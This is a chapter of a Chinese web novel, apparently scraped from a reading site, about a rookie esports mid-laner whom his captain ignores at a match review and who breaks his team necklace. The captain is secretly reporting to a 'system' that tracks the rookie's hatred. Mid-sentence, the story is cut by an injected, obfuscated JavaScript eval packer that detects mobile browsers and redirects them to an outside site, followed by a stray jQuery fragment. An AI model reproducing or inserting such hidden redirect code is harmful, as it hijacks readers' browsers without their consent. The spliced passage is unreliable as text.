又一次训练赛，战绩惨不忍睹。
余烬感觉自己像被扔进了一个高压锅里，每一寸神经都绷紧到了极限。他知道自己必须打好，必须证明自己，尤其是在队长面前。可越是迫切操作就越是变形，对手显然研究过他这个新人，针对性的Gank和压制如同跗骨之疽，让他疲于奔命。
最终，是江屿白冷静的声音在耳机里响起，精准的指令和力挽狂澜的操作硬生生将队伍从溃败的边缘拉了回来，逆风翻盘。
Victory的标志亮起，余烬坐在椅子上，手心全是冷汗。
复盘会议的气氛压抑得让人窒息。
教练首先详细分析了整场比赛，重点指出了团队配合和资源控制上的几个共性失误。然后，他按照位置顺序，开始逐个点评队员的表现。
上单对线期的细节处理、打野的路线选择、AD的团战输出时机、辅助的视野布控……教练一一指出问题，也肯定了做得好的地方。轮到中单的余烬时，教练顿了顿，似乎想说什么，但最终只是简单提了句“中路对线压力比较大，需要队友更多关注”，便滑了过去。
余烬低着头，手指无意识地蜷缩着，他知道，教练的轻描淡写意味着什么——真正的评价会来自于Pale。
果然，教练说完后，目光转向了江屿白：“Pale，你补充一下？”
江屿白面色平静地点头站起身，他目光扫过在场的每一位队员，声音清晰：
“上单第三波兵线处理太急，漏了经验，导致第一波Gank你无法及时支援。”
“下路组，第一波被四包二，沟通缺失，预警信号打得太晚。”
被他点到的队员都面色凝重地点头，认真记下。
终于，他的目光落在了余烬身上。
余烬的脊背立刻下意识地绷直。
然而江屿白的目光在他身上只停留了不到一秒。
他微微顿了一下，然后自然地移开了视线，那眼神里没有任何情绪，没有失望，没有愤怒，甚至没有惯常的讥诮，平淡得像扫过一粒无关紧要的灰尘，仿佛余烬这个人和他刚才惨不忍睹的表现，根本不值得浪费他哪怕多一秒钟的时间。
“今天就到这里吧。”江屿白宣布了会议的结束。
余烬猛地抬起头，眼中充满了难以置信，瞳孔在灯光下微微震颤。
……结束了？
没有提到他。一次也没有。他的名字，他的低级失误，他那几乎导致全线崩盘的糟糕表现，就像投入深海的石子，连一丝涟漪都未曾激起，就被轻描淡写地抹去了存在过的痕迹。
为什么？
为什么独独跳过了他？
是因为他已经烂泥扶不上墙，连被点评，被训斥的价值都消失殆尽了吗？是因为在队长眼里，他已经是一枚可以随时丢弃，无需再浪费任何唇舌的弃子了吗？
意识仿佛被抽离，他像个旁观者一样看着会议室里的人们开始活动，椅腿摩擦地面发出轻微的声响，队友们低声交谈着。而这一切的背景音都在他耳边模糊、远去。
原来这样的漠视更令人绝望，仿佛他这个人，他熬夜加练的每一个夜晚，他所有的挣扎与存在……在对方眼里，都已变成无关紧要的空气。
他甚至可悲地发现，自己竟然开始怀念那些毫不留情的训斥。至少那时，队长的目光是落在他身上的。
可现在……
心脏像是被一只冰冷而无形的手狠狠攥住，骤然缩紧，前所未有的恐慌如同海啸般汹涌而上，淹没了所有感官。
他清晰地意识到，他害怕的从来不是队长的严厉，他害怕的是队长的眼里再也没有他。
会议解散了，队友们陆续起身，讨论着今晚的聚餐去哪里。余烬僵硬地站起来，精神恍惚，不小心撞到了身后的椅背，轻微的一声脆响，一个银色的东西从他的队服口袋滑落，掉在了光洁的地板上。
是他的队链。
那条象征BZN队员身份、被他视若珍宝、日夜摩挲得边缘都有些光滑的银色项链。
余烬心中一慌，连忙弯腰想去捡。就在这时，一双穿着干净运动鞋的脚从他身旁经过，完全没注意到地上那条细小的银链，鞋底不偏不倚，正好踩在了项链的连接处。
“咔嗒。”
一声细微的断裂声响起。
那双脚的主人毫无所觉，很快走远，融入了离开的人群。
余烬蹲在那里，捡起他的队链。冰凉的金属链身还残留着一点体温，那枚小小的菱形铭牌在灯光下依旧反射着细碎的光，但原本完整的链子中间却多了一个刺眼的豁口，断裂处的金属茬口尖锐地支棱着。
他下意识地用指腹摩挲那断裂的地方，冰冷的尖刺立刻硌得皮肤生疼。
象征着他好不容易才得到，拼命想要抓住的这一切的队链……断了。
就像他此刻摇摇欲坠的梦想和坚持。
没有时间给他修复，甚至没有时间让他难过。队友的催促声从门口传来：“Ember！走了，聚餐了！”
余烬猛地抹了一把脸，胡乱地将断裂的项链塞回口袋，尖锐的断口隔着衣物硌着他的皮肤，带来一阵阵清晰的刺痛。他低着头，匆匆跟上了前面的人群。
走在前面的江屿白丝毫不知道自己无意中的一个脚步踩碎了什么。
他正在脑海里和系统闲聊：【看来冷处理效果
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326306|183243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不错？这次之后，男主心态应该彻底崩了吧，离主动退队不远了。】
系统回答道：【目标恨意值在会议结束后有剧烈升高波动，目前稳定在90%。】
【哦？】江屿白有点意外，【是刚才我无视他的时候升高的？】
系统：【数据监测显示，峰值出现时间似乎有轻微延迟，并非在宿主无视他的当时，而是在散会之后。】
江屿白挑眉，开玩笑说：【延迟？你这高科技产物还会延迟？挺有意思，那你测测你自己现在的帧率稳定不？】
系统：【……】它好像被这不着调的问题噎了一下，电子音停顿了片刻才响起，【宿主，我需要暂时连接主空间进行一次自检程序，预计需要数小时。】
【行，你去吧。】江屿白无所谓地应道，【反正这几个小时就是聚餐唱歌，也出不了什么事。】
聚餐选在了一家队员常去的餐厅，包间里人声喧哗，复盘会上压抑的气氛一扫而空。
余烬沉默地坐在角落，几乎没动筷子，口袋里的手紧紧攥着那枚断裂的项链，指尖反复摩挲着那个尖锐的断口，自虐般感受着清晰的痛感。
周围的队友们笑声不断地聊着比赛和八卦，江屿白似乎心情也不错，甚至难得地接过了教练递来的酒杯喝了两杯。他想着恨意值飙升到90%，马上胜利在望，稍微放松一下也无妨。
然而他低估了这具身体对酒精的耐受度。两杯酒下肚，一股强烈的晕眩感就猛地窜了上来，脸颊也开始发烫。他立刻警醒，放下杯子没再喝，但酒精的后劲却如同潮水般层层涌上，视线开始有些模糊，思维也变得迟缓起来。
饭后，一群人又转战KTV。
嘈杂的音乐，炫目的灯光，鬼哭狼嚎的歌声。余烬依旧缩在最角落的沙发里，摊开掌心，那枚断裂的项链在昏暗变幻的灯光下显得更加残破。
他低着头，一遍遍试图将两处断裂的金属茬口对接起来，指尖被扎得生疼，却只是徒劳，裂痕一旦产生，便无法复原到原本的模样。
就在这时，他感到自己的肩膀被轻轻拍了拍。
余烬茫然地抬起头。
震耳的音乐声中，五彩斑斓的灯光扫过，映出坐在他身旁的人——是江屿白。
他看起来很不对劲，脸颊泛着不正常的红晕，那双平时总是冰冷锐利的眼睛此刻蒙着一层水汽，显得有些迷离和懵懂，他就这样直勾勾地看着余烬，好像认了他很久，又好像刚刚才发现他在这里。
然后，在余烬震惊的目光中，这位平时刻薄又毒舌的队长，微微歪了歪头，带着一种鲜少出现的疑惑和关心，问了一句：
“你怎么一个人缩在这里？”